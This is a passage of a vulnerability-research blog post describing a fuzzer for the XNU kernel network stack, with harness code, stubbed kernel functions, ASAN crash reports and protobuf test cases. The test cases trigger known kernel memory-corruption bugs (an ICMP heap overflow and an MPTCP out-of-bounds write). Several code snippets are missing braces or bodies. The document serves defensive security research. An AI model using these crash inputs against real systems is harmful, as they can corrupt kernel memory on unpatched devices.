  required uint32 th_urp = 9;

  // Ned's extensions

  required bool is_pure_syn = 10;

  required bool is_pure_ack = 11;


Unfortunately, protobuf doesn’t support a uint8 type, so I had to use uint32 for some fields. That’s some lost fuzzing performance. You can also see some synthetic TCP header flags I added to make certain flag combinations more likely: is_pure_syn and is_pure_ack. Now I have to write some code to stitch together a valid packet from these nested fields. Shown below is the code to handle just the TCP header.

std::string get_tcp_hdr(const TcpHdr &hdr) {

  struct tcphdr tcphdr = {

      .th_sport = (unsigned short)hdr.th_sport(),

      .th_dport = (unsigned short)hdr.th_dport(),

      .th_seq = __builtin_bswap32(hdr.th_seq()),

      .th_ack = __builtin_bswap32(hdr.th_ack()),

      .th_off = hdr.th_off(),

      .th_flags = 0,

      .th_win = (unsigned short)hdr.th_win(),

      .th_sum = 0, // TODO(nedwill): calculate the checksum instead of skipping it

      .th_urp = (unsigned short)hdr.th_urp(),


  for (const int flag : hdr.th_flags()) {

    tcphdr.th_flags ^= flag;


  // Prefer pure syn

  if (hdr.is_pure_syn()) {

    tcphdr.th_flags &= ~(TH_RST | TH_ACK);

    tcphdr.th_flags |= TH_SYN;

  } else if (hdr.is_pure_ack()) {

    tcphdr.th_flags &= ~(TH_RST | TH_SYN);

    tcphdr.th_flags |= TH_ACK;


  std::string dat((char *)&tcphdr, (char *)&tcphdr + sizeof(tcphdr));

  return dat;


As you can see, I make liberal use of a custom grammar to enable better quality fuzzing. These efforts are worth it, as randomizing high level structure is more efficient. It will also be easier for us to interpret crashing test cases later as they will have the same high level representation.

High-Level Emulation

Now that we have the code building and an initial fuzz target running, we begin the first pass at implementing all of the stubbed code that is reachable by our fuzz target. Because we have a fuzz target that builds and runs, we now get instant feedback about which functions our target hits. Some core functionality has to be supported before we can find any bugs, so the first attempt to run the fuzzer deserves its own development phase. For example, until dynamic memory allocation is supported, almost no kernel code we try to cover will work considering how heavily such code is used.

We’ll be implementing our stubbed functions with fake variants that attempt to have the same semantics. For example, when testing code that uses an external database library, you could replace the database with a simple in-memory implementation. If you don’t care about finding database bugs, this often makes fuzzing simpler and more robust. For some kernel subsystems unrelated to networking we can use entirely different or null implementations. This process is reminiscent of high-level emulation, an idea used in game console emulation. Rather than aiming to emulate hardware, you can try to preserve the semantics but use a custom implementation of the API. Because we only care about testing networking, this is how we approach faking subsystems in this project.

I always start by looking at the original function implementation. If it’s possible, I just link in that code as well. But some functionality isn’t compatible with our fuzzer and must be faked. For example, zalloc should call the userland malloc since virtual memory is already managed by our host kernel and we have allocator facilities available. Similarly, copyin and copyout need to be faked as they no longer serve to copy data between user and kernel pages. Sometimes we also just “nop” out functionality that we don’t care about. We’ll cover these decisions in more detail later in the “High-Level Emulation” phase. Note that by implementing these stubs lazily whenever our fuzz target hits them, we immediately reduce the work in handling all the unrelated functions by an order of magnitude. It’s easier to stay motivated when you only implement fakes for functions that are used by the target code. This approach successfully saved me a lot of time and I’ve used it on subsequent projects as well. At the time of writing, I have 398 stubbed functions, about 250 functions that are trivially faked (return 0 or void functions that do nothing), and about 25 functions that I faked myself (almost all related to porting the memory allocation systems to userland).

Booting Up

As soon as we start running the fuzzer, we’ll run into a snag: many resources require a one-time initialization that happens on boot. The BSD half of the kernel is mostly initialized by calling the bsd_init function. That function, in turn, calls several subsystem-specific initialization functions. Keeping with the theme of supporting a minimally necessary subset of the kernel, rather than call bsd_init, we create a new function that only initializes parts of the kernel as needed.

Here’s an example crash that occurs without the one time kernel bootup initialization:

    #7 0x7effbc464ad0 in zalloc /source/build3/../fuzz/zalloc.c:35:3

    #8 0x7effbb62eab4 in pipepair_alloc /source/build3/../bsd/kern/sys_pipe.c:634:24

    #9 0x7effbb62ded5 in pipe /source/build3/../bsd/kern/sys_pipe.c:425:10

    #10 0x7effbc4588ab in pipe_wrapper /source/build3/../fuzz/syscall_wrappers.c:216:10

    #11 0x4ee1a4 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:979:19

Our zalloc implementation (covered in the next section) failed because the pipe zone wasn’t yet initialized:

static int

pipepair_alloc(struct pipe **rp_out, struct pipe **wp_out)


        struct pipepair *pp = zalloc(pipe_zone);

Scrolling up in sys_pipe.c, we see where that zone is initialized:




        nbigpipe = 0;

        vm_size_t zone_size;

        zone_size = 8192 * sizeof(struct pipepair);

        pipe_zone = zinit(sizeof(struct pipepair), zone_size, 4096, "pipe zone");

Sure enough, this function is called by bsd_init. By adding that to our initial setup function the zone works as expected. After some development cycles spent supporting all the needed bsd_init function calls, we have the following:

__attribute__((visibility("default"))) bool initialize_network() {












  int res = necp_init();


  return true;


The original
bsd_init is 683 lines long, but our initialize_network clone is the preceding short snippet. I want to remark how cool I found it that you could “boot” a kernel like this and have everything work so long as you implemented all the relevant stubs. It just goes to show a surprising fact: a significant amount of kernel code is portable, and simple steps can be taken to make it testable. These codebases can be modernized without being fully rewritten. As this “boot” relies on dynamic allocation, let’s look at how I implemented that next.

Dynamic Memory Allocation

Providing a virtual memory abstraction is a fundamental goal of most kernels, but the good news is this is out of scope for this project (this is left as an exercise for the reader). Because networking already assumes working virtual memory, the network stack functions almost entirely on top of high-level allocator APIs. This makes the subsystem amenable to “high-level emulation”. We can create a thin shim layer that intercepts XNU specific allocator calls and translates them to the relevant host APIs.

In practice, we have to handle three types of allocations for this project: “classic” allocations (malloc/calloc/free), zone allocations (zalloc), and mbuf (memory buffers). The first two types are more fundamental allocation types used across XNU, while mbufs are a common data structure used in low-level networking code.

The zone allocator is reasonably complicated, but we use a simplified model for our purposes: we just track the size assigned to a zone when it is created and make sure we malloc that size when zalloc is later called using the initialized zone. This could undoubtedly be modeled better, but this initial model worked quite well for the types of bugs I was looking for. In practice, this simplification affects exploitability, but we aren’t worried about that for a fuzzing project as we can assess that manually once we discover an issue. As you can see below, I created a custom zone type that simply stored the configured size, knowing that my zinit would return an opaque pointer that would be passed to my zalloc implementation, which could then use calloc to service the request. zfree simply freed the requested bytes and ignored the zone, as allocation sizes are tracked by the host malloc already.

struct zone {

  uintptr_t size;


struct zone* zinit(uintptr_t size, uintptr_t max, uintptr_t alloc,

                   const char* name) {

  struct zone* zone = (struct zone*)calloc(1, sizeof(struct zone));

  zone->size = size;

  return zone;


void* zalloc(struct zone* zone) {

  assert(zone != NULL);

  return calloc(1, zone->size);


void zfree(void* zone, void* dat) {




Kalloc, kfree, and related functions were passed through to malloc and free as well. You can see fuzz/zalloc.c for their implementations. Mbufs (memory buffers) are more work to implement because they contain considerable metadata that is exposed to the “client” networking code.

struct m_hdr {

        struct mbuf     *mh_next;       /* next buffer in chain */

        struct mbuf     *mh_nextpkt;    /* next chain in queue/record */

        caddr_t         mh_data;        /* location of data */

        int32_t         mh_len;         /* amount of data in this mbuf */

        u_int16_t       mh_type;        /* type of data in this mbuf */

        u_int16_t       mh_flags;       /* flags; see below */



 * The mbuf object


struct mbuf {

        struct m_hdr m_hdr;

        union {

                struct {

                        struct pkthdr MH_pkthdr;        /* M_PKTHDR set */

                        union {

                                struct m_ext MH_ext;    /* M_EXT set */

                                char    MH_databuf[_MHLEN];

                        } MH_dat;

                } MH;

                char    M_databuf[_MLEN];               /* !M_PKTHDR, !M_EXT */

        } M_dat;


I didn’t include the
pkthdr nor m_ext structure definitions, but they are nontrivial (you can see for yourself in bsd/sys/mbuf.h). A lot of trial and error was needed to create a simplified mbuf format that would work. In practice, I use an inline buffer when possible and, when necessary, locate the data in one large external buffer and set the M_EXT flag. As these allocations must be aligned, I use posix_memalign to create them, rather than malloc. Fortunately ASAN can help manage these allocations, so we can detect some bugs with this modification.

Two bugs I reported via the Project Zero tracker highlight the benefit of the heap-based mbuf implementation. In the first report, I detected an mbuf double free using ASAN. While the m_free implementation tries to detect double frees by checking the state of the allocation, ASAN goes even further by quarantining recently freed allocations to detect the bug. In this case, it looks like the fuzzer would have found the bug either way, but it was impressive. The second issue linked is much subtler and requires some instrumentation to detect the bug, as it is a use after free read of an mbuf:

==22568==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500026afe5 at pc 0x7ff60f95cace bp 0x7ffd4d5617b0 sp 0x7ffd4d5617a8

READ of size 1 at 0x61500026afe5 thread T0

    #0 0x7ff60f95cacd in tcp_input bsd/netinet/tcp_input.c:5029:25

    #1 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2

    #2 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10

0x61500026afe5 is located 229 bytes inside of 256-byte region [0x61500026af00,0x61500026b000)

freed by thread T0 here:

    #0 0x4a158d in free /b/swarming/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3

    #1 0x7ff60fb7444d in m_free fuzz/zalloc.c:220:3

    #2 0x7ff60f4e3527 in m_freem bsd/kern/uipc_mbuf.c:4842:7

    #3 0x7ff60f5334c9 in sbappendstream_rcvdemux bsd/kern/uipc_socket2.c:1472:3

    #4 0x7ff60f95821d in tcp_input bsd/netinet/tcp_input.c:5019:8

    #5 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2

    #6 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10

Apple managed to catch this issue before I reported it, fixing it in iOS 13. I believe Apple has added some internal hardening or testing for mbufs that caught this bug. It could be anything from a hardened mbuf allocator like
GWP-ASAN, to an internal ARM MTE test, to simple auditing, but it was really cool to see this issue detected in this way, and also that Apple was proactive enough to find this themselves.

Accessing User Memory

When talking about this project with a fellow attendee at a fuzzing conference, their biggest question was how I handled user memory access. Kernels are never supposed to trust pointers provided by user-space, so whenever the kernel wants to access memory-mapped in userspace, it goes through intermediate functions copyin and copyout. By replacing these functions with our fake implementations, we can supply fuzzer-provided input to the tested code. The real kernel would have done the relevant copies from user to kernel pages. Because these copies are driven by the target code and not our testcase, I added a buffer in the protobuf specification to be used to service these requests.

Here’s a backtrace from our stub before we implement `copyin`. As you can see, when calling the `recvfrom` syscall, our fuzzer passed in a pointer as an argument.

    #6 0x7fe1176952f3 in Assert /source/build3/../fuzz/stubs.c:21:3

    #7 0x7fe11769a110 in copyin /source/build3/../fuzz/fake_impls.c:408:3

    #8 0x7fe116951a18 in __copyin_chk /source/build3/../bsd/libkern/copyio.h:47:9

    #9 0x7fe116951a18 in recvfrom_nocancel /source/build3/../bsd/kern/uipc_syscalls.c:2056:11

    #10 0x7fe117691a86 in recvfrom_nocancel_wrapper /source/build3/../fuzz/syscall_wrappers.c:244:10

    #11 0x4e933a in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:936:9

    #12 0x4e43b8 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1

I’ve extended the copyin specification with my fuzzer-specific semantics: when the pointer (void*)1 is passed as an address, we interpret this as a request to fetch arbitrary bytes. Otherwise, we copy directly from that virtual memory address. This way, we can begin by passing (void*)1 everywhere in the fuzz target to get as much cheap coverage as possible. Later, as we want to construct well-formed data to pass into syscalls, we build the data in the protobuf test case handler and pass a real pointer to it, allowing it to be copied. This flexibility saves us time while permitting the construction of highly-structured data inputs as we see fit.

int __attribute__((warn_unused_result))

copyin(void* user_addr, void* kernel_addr, size_t nbytes) {

  // Address 1 means use fuzzed bytes, otherwise use real bytes.

  // NOTE: this does not support nested useraddr.

  if (user_addr != (void*)1) {

    memcpy(kernel_addr, user_addr, nbytes);

    return 0;


  if (get_fuzzed_bool()) {

    return -1;


  get_fuzzed_bytes(kernel_addr, nbytes);

  return 0;


Copyout is designed similarly. We often don’t care about the data copied out; we just care about the safety of the accesses. For that reason, we make sure to memcpy from the source buffer in all cases, using a temporary buffer when a copy to (void*)1 occurs. If the kernel copies out of bounds or from freed memory, for example, ASAN will catch it and inform us about a memory disclosure vulnerability.

Synchronization and Threads

Among the many changes made to XNU’s behavior to support this project, perhaps the most extensive and invasive are the changes I made to the synchronization and threading model. Before beginning this project, I had spent over a year working on Chrome browser process research, where high level “sequences” are preferred to using physical threads. Despite a paucity of data races, Chrome still had sequence-related bugs that were triggered by randomly servicing some of the pending work in between performing synchronous IPC calls. In an exploit for a bug found by the AppCache fuzzer, sleep calls were needed to get the asynchronous work to be completed before queueing up some more work synchronously. So I already knew that asynchronous continuation-passing style concurrency could have exploitable bugs that are easy to discover with this fuzzing approach.

I suspected I could find similar bugs if I used a similar model for sockfuzzer. Because XNU uses multiple kernel threads in its networking stack, I would have to port it to a cooperative style. To do this, I provided no-op implementations for all of the thread management functions and sync primitives, and instead randomly called the work functions that would have been called by the real threads. This involved modifying code: most worker threads run in a loop, processing new work as it comes in. I modified these infinitely looping helper functions to do one iteration of work and exposed them to the fuzzer frontend. Then I called them randomly as part of the protobuf message. The main benefit of doing the project this way was improved performance and determinism. Places where the kernel could block the fuzzer were modified to return early. Overall, it was a lot simpler and easier to manage a single-threaded process. But this decision did not end up yielding as many bugs as I had hoped. For example, I suspected that interleaving garbage collection of various network-related structures with syscalls would be more effective. It did achieve the goal of removing threading-related headaches from deploying the fuzzer, but this is a serious weakness that I would like to address in future fuzzer revisions.


Randomness is another service provided by kernels to userland (e.g. /dev/random) and in-kernel services requiring it. This is easy to emulate: we can just return as many bytes as were requested from the current test case’s data_provider field.


XNU features some mechanisms (KAuth, mac checks, user checks) to determine whether a given syscall is permissible. Because of the importance and relative rarity of bugs in XNU, and my willingness to triage false positives, I decided to allow all actions by default. For example, the TCP multipath code requires a special entitlement, but disabling this functionality precludes us from finding Ian’s multipath vulnerability. Rather than fuzz only code accessible inside the app sandbox, I figured I would just triage whatever comes up and report it with the appropriate severity in mind.

For example, when we create a socket, the kernel checks whether the running process is allowed to make a socket of the given domain, type, and protocol provided their KAuth credentials:

static int

socket_common(struct proc *p,

    int domain,

    int type,

    int protocol,

    pid_t epid,

    int32_t *retval,

    int delegate)


        struct socket *so;

        struct fileproc *fp;

        int fd, error;

        AUDIT_ARG(socket, domain, type, protocol);


        if ((error = mac_socket_check_create(kauth_cred_get(), domain,

            type, protocol)) != 0) {

                return error;


#endif /* MAC_SOCKET_SUBSET */

When we reach this function in our fuzzer, we trigger an assert crash as this functionality was  stubbed.

    #6 0x7f58f49b53f3 in Assert /source/build3/../fuzz/stubs.c:21:3

    #7 0x7f58f49ba070 in kauth_cred_get /source/build3/../fuzz/fake_impls.c:272:3

    #8 0x7f58f3c70889 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:39

    #9 0x7f58f3c7043a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9

    #10 0x7f58f49b45e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10

    #11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19

Now, we need to implement kauth_cred_get. In this case, we return a (void*)1 pointer so that NULL checks on the value will pass (and if it turns out we need to model this correctly, we’ll crash again when the pointer is used).

void* kauth_cred_get() {

  return (void*)1;


Now we crash actually checking the KAuth permissions.

    #6 0x7fbe9219a3f3 in Assert /source/build3/../fuzz/stubs.c:21:3

    #7 0x7fbe9219f100 in mac_socket_check_create /source/build3/../fuzz/fake_impls.c:312:33

    #8 0x7fbe914558a3 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:15

    #9 0x7fbe9145543a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9

    #10 0x7fbe921995e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10

    #11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19

    #12 0x4e76c2 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1

Now we simply return 0 and move on.

int mac_socket_check_create() { return 0; }

As you can see, we don’t always need to do a lot of work to fake functionality. We can opt for a much simpler model that still gets us the results we want.

Coverage Guided Development

We’ve paid a sizable initial cost to implement this fuzz target, but we’re now entering the longest and most fun stage of the project: iterating and maintaining the fuzzer. We begin by running the fuzzer continuously (in my case, I ensured it could run on ClusterFuzz). A day of work then consists of fetching the latest corpus, running a clang-coverage visualization pass over it, and viewing the report. While initially most of the work involved fixing assertion failures to get the fuzzer working, we now look for silent implementation deficiencies only visible in the coverage reports. A snippet from the report looks like the following:

Several lines of code have a column indicating that they have been covered tens of thousands of times. Below them, you can see a switch statement for handling the parsing of IP options. Only the default case is covered approximately fifty thousand times, while the routing record options are covered 0 times.

This excerpt from IP option handling shows that we don’t support the various packets well with the current version of the fuzzer and grammar. Having this visualization is enormously helpful and necessary to succeed, as it is a source of truth about your fuzz target. By directing development work around these reports, it’s relatively easy to plan actionable and high-value tasks around the fuzzer.

I like to think about improving a fuzz target by either improving “soundness” or “completeness.” Logicians probably wouldn’t be happy with how I’m loosely using these terms, but they are a good metaphor for the task. To start with, we can improve the completeness of a given fuzz target by helping it reach code that we know to be reachable based on manual review. In the above example, I would suspect very strongly that the uncovered option handling code is reachable. But despite a long fuzzing campaign, these lines are uncovered, and therefore our fuzz target is incomplete, somehow unable to generate inputs reaching these lines. There are two ways to get this needed coverage: in a top-down or bottom-up fashion. Each has its tradeoffs. The top-down way to cover this code is to improve the existing grammar or C++ code to make it possible or more likely. The bottom-up way is to modify the code in question. For example, we could replace switch (opt) with something like switch (global_fuzzed_data->ConsumeRandomEnum(valid_enums). This bottom-up approach introduces unsoundness, as maybe these enums could never have been selected at this point. But this approach has often led to interesting-looking crashes that encouraged me to revert the change and proceed with the more expensive top-down implementation. When it’s one researcher working against potentially hundreds of thousands of lines, you need tricks to prioritize your work. By placing many cheap bets, you can revert later for free and focus on the most fruitful areas.

Improving soundness is the other side of the coin here. I’ve just mentioned reverting unsound changes and moving those changes out of the target code and into the grammar. But our fake objects are also simple models for how their real implementations behave. If those models are too simple or directly inaccurate, we may either miss bugs or introduce them. I’m comfortable missing some bugs as I think these simple fakes enable better coverage, and it’s a net win. But sometimes, I’ll observe a crash or failure to cover some code because of a faulty model. So improvements can often come in the form of making these fakes better.

All in all, there is plenty of work that can be done at any given point. Fuzzing isn’t an all or nothing one-shot endeavor for large targets like this. This is a continuous process, and as time goes on, easy gains become harder to achieve as most bugs detectable with this approach are found, and eventually, there comes a natural stopping point. But despite working on this project for several months, it’s remarkably far from the finish line despite producing several useful bug reports. The cool thing about fuzzing in this way is that it is a bit like excavating a fossil. Each target is different; we make small changes to the fuzzer, tapping away at the target with a chisel each day and letting our coverage metrics, not our biases, reveal the path forward.

Packet Delivery

I’d like to cover one example to demonstrate the value of the “bottom-up” unsound modification, as in some cases, the unsound modification is dramatically cheaper than the grammar-based one. Disabling hash checks is a well-known fuzzer-only modification when fuzzer-authors know that checksums could be trivially generated by hand. But it can also be applied in other places, such as packet delivery.

When an mbuf containing a TCP packet arrives, it is handled by tcp_input. In order for almost anything meaningful to occur with this packet, it must be matched by IP address and port to an existing process control block (PCB) for that connection, as seen below.


tcp_input(struct mbuf *m, int off0)


// ...

        if (isipv6) {

            inp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport,

                &ip6->ip6_dst, th->th_dport, 1,


        } else

#endif /* INET6 */

        inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport,

            ip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif);

Here’s the IPv4 lookup code. Note that faddr, fport_arg, laddr, and lport_arg are all taken directly from the packet and are checked against the list of PCBs, one at a time. This means that we must guess two 4-byte integers and two 2-byte shorts to match the packet to the relevant PCB. Even coverage-guided fuzzing is going to have a hard time guessing its way through these comparisons. While eventually a match will be found, we can radically improve the odds of covering meaningful code by just flipping a coin instead of doing the comparisons. This change is extremely easy to make, as we can fetch a random boolean from the fuzzer at runtime. Looking up existing PCBs and fixing up the IP/TCP headers before sending the packets is a sounder solution, but in my testing this change didn’t introduce any regressions. Now when a vulnerability is discovered, it’s just a matter of fixing up headers to match packets to the appropriate PCB. That’s light work for a vulnerability researcher looking for a remote memory corruption bug.


 * Lookup PCB in hash list.


struct inpcb *

in_pcblookup_hash(struct inpcbinfo *pcbinfo, struct in_addr faddr,

    u_int fport_arg, struct in_addr laddr, u_int lport_arg, int wildcard,

    struct ifnet *ifp)


// ...

    head = &pcbinfo->ipi_hashbase[INP_PCBHASH(faddr.s_addr, lport, fport,


    LIST_FOREACH(inp, head, inp_hash) {

-               if (inp->inp_faddr.s_addr == faddr.s_addr &&

-                   inp->inp_laddr.s_addr == laddr.s_addr &&

-                   inp->inp_fport == fport &&

-                   inp->inp_lport == lport) {

+               if (!get_fuzzed_bool()) {

                        if (in_pcb_checkstate(inp, WNT_ACQUIRE, 0) !=

                            WNT_STOPUSING) {


                                return inp;

Astute readers may have noticed that the PCBs are fetched from a hash table, so it’s not enough just to replace the check. The 4 values used in the linear search are used to calculate a PCB hash, so we have to make sure all PCBs share a single bucket, as seen in the diff below. The real kernel shouldn’t do this as lookups become O(n), but we only create a few sockets, so it’s acceptable.

diff --git a/bsd/netinet/in_pcb.h b/bsd/netinet/in_pcb.h

index a5ec42ab..37f6ee50 100644

--- a/bsd/netinet/in_pcb.h

+++ b/bsd/netinet/in_pcb.h

@@ -611,10 +611,9 @@ struct inpcbinfo {

        u_int32_t               ipi_flags;


-#define INP_PCBHASH(faddr, lport, fport, mask) \

-       (((faddr) ^ ((faddr) >> 16) ^ ntohs((lport) ^ (fport))) & (mask))

-#define INP_PCBPORTHASH(lport, mask) \

-       (ntohs((lport)) & (mask))

+// nedwill: let all pcbs share the same hash

+#define        INP_PCBHASH(faddr, lport, fport, mask) (0)

+#define        INP_PCBPORTHASH(lport, mask) (0)

 #define INP_IS_FLOW_CONTROLLED(_inp_) \

        ((_inp_)->inp_flags & INP_FLOW_CONTROLLED)

Checking Our Work: Reproducing the Sample Bugs

With most of the necessary supporting code implemented, we can fuzz for a while without hitting any assertions due to unimplemented stubbed functions. At this stage, I reverted the fixes for the two inspiration bugs I mentioned at the beginning of this article. Here’s what we see shortly after we run the fuzzer with those fixes reverted:

==1633983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00029f474 at pc 0x00000049fcb7 bp 0x7ffcddc88590 sp 0x7ffcddc87d58

WRITE of size 20 at 0x61d00029f474 thread T0

    #0 0x49fcb6 in __asan_memmove /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:30:3

    #1 0x7ff64bd83bd9 in __asan_bcopy fuzz/san.c:37:3

    #2 0x7ff64ba9e62f in icmp_error bsd/netinet/ip_icmp.c:362:2

    #3 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2

    #4 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34

    #5 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3

    #6 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7

    #7 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9

0x61d00029f474 is located 12 bytes to the left of 2048-byte region [0x61d00029f480,0x61d00029fc80)

allocated by thread T0 here:

    #0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3

    #1 0x7ff64bd82b20 in mbuf_create fuzz/zalloc.c:157:45

    #2 0x7ff64bd8319e in mcache_alloc fuzz/zalloc.c:187:12

    #3 0x7ff64b69ae84 in m_getcl bsd/kern/uipc_mbuf.c:3962:6

    #4 0x7ff64ba9e15c in icmp_error bsd/netinet/ip_icmp.c:296:7

    #5 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2

    #6 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34

    #7 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3

    #8 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7

    #9 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9

When we inspect the test case, we see that a single raw IPv4 packet was generated to trigger this bug. This is to be expected, as the bug doesn’t require an existing connection, and looking at the stack, we can see that the test case triggered the bug in the IPv4-specific ip_input path.

commands {

  ip_input {

    raw_ip4: "M\001\000I\001\000\000\000\000\000\000\000III\333\333\333\333\333\333\333\333\333\333IIIIIIIIIIIIII\000\000\000\000\000III\333\333\333\333\333\333\333\333\333\333\333\333IIIIIIIIIIIIII"



data_provider: ""

If we fix that issue and fuzz a bit longer, we soon see another crash, this time in the MPTCP stack. This is Ian’s MPTCP vulnerability. The ASAN report looks strange though. Why is it crashing during garbage collection in
mptcp_session_destroy? The original vulnerability was an OOB write, but ASAN couldn’t catch it because it corrupted memory within a struct. This is a well-known shortcoming of ASAN and similar mitigations, importantly the upcoming MTE. This means we don’t catch the bug until later, when a randomly corrupted pointer is accessed.

==1640571==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x6190000079dc in thread T0

    #0 0x4a0094 in free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3

    #1 0x7fbdfc7a16b0 in _FREE fuzz/zalloc.c:293:36

    #2 0x7fbdfc52b624 in mptcp_session_destroy bsd/netinet/mptcp_subr.c:742:3

    #3 0x7fbdfc50c419 in mptcp_gc bsd/netinet/mptcp_subr.c:4615:3

    #4 0x7fbdfc4ee052 in mp_timeout bsd/netinet/mp_pcb.c:118:16

    #5 0x7fbdfc79b232 in clear_all fuzz/backend.c:83:3

    #6 0x4dfd5c in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:1010:3

0x6190000079dc is located 348 bytes inside of 920-byte region [0x619000007880,0x619000007c18)

allocated by thread T0 here:

    #0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3

    #1 0x7fbdfc7a03d4 in zalloc fuzz/zalloc.c:37:10

    #2 0x7fbdfc4ee710 in mp_pcballoc bsd/netinet/mp_pcb.c:222:8

    #3 0x7fbdfc53cf8a in mptcp_attach bsd/netinet/mptcp_usrreq.c:211:15

    #4 0x7fbdfc53699e in mptcp_usr_attach bsd/netinet/mptcp_usrreq.c:128:10

    #5 0x7fbdfc0e1647 in socreate_internal bsd/kern/uipc_socket.c:784:10

    #6 0x7fbdfc0e23a4 in socreate bsd/kern/uipc_socket.c:871:9

    #7 0x7fbdfc118695 in socket_common bsd/kern/uipc_syscalls.c:266:11

    #8 0x7fbdfc1182d1 in socket bsd/kern/uipc_syscalls.c:214:9

    #9 0x7fbdfc79a26e in socket_wrapper fuzz/syscall_wrappers.c:371:10

    #10 0x4dd275 in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:655:19

Here’s the protobuf input for the crashing testcase:

commands {

  socket {

    domain: AF_MULTIPATH

    so_type: SOCK_STREAM

    protocol: IPPROTO_IP



commands {

  connectx {

    socket: FD_0

    endpoints {

      sae_srcif: IFIDX_CASE_0

      sae_srcaddr {

        sockaddr_generic {

          sa_family: AF_MULTIPATH

          sa_data: "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\304"



      sae_dstaddr {

        sockaddr_generic {

          sa_family: AF_MULTIPATH

          sa_data: ""




    associd: ASSOCID_CASE_0






commands {

  connectx {

    socket: FD_0

    endpoints {

      sae_srcif: IFIDX_CASE_0

      sae_dstaddr {

        sockaddr_generic {

          sa_family: AF_MULTIPATH

          sa_data: ""




    associd: ASSOCID_CASE_0




commands {

  connectx {

    socket: FD_0

    endpoints {

      sae_srcif: IFIDX_CASE_0

      sae_srcaddr {

        sockaddr_generic {

          sa_family: AF_MULTIPATH

          sa_data: ""



      sae_dstaddr {

        sockaddr_generic {

          sa_family: AF_MULTIPATH

          sa_data: "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\304"




    associd: ASSOCID_CASE_0






commands {

  connectx {

    socket: FD_0

    endpoints {

      sae_srcif: IFIDX_CASE_0

      sae_dstaddr {

        sockaddr_generic {

          sa_family: AF_MULTIPATH

          sa_data: ""




    associd: ASSOCID_CASE_0




commands {

  close {

    fd: FD_8



commands {

  ioctl_real {

    siocsifflags {

      ifr_name: LO0

      flags: IFF_LINK1




commands {

  close {

    fd: FD_8



data_provider: "\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025"

Hmm, that’s quite large and hard to follow. Is the bug really that complicated? We can use libFuzzer’s crash minimization feature to find out. Protobuf-based test cases simplify nicely because even large test cases are already structured, so we can randomly edit and remove nodes from the message. After about a minute of automated minimization, we end up with the test shown below.

commands {

  socket {

    domain: AF_MULTIPATH

    so_type: SOCK_STREAM

    protocol: IPPROTO_IP



commands {

  connectx {

    socket: FD_0

    endpoints {

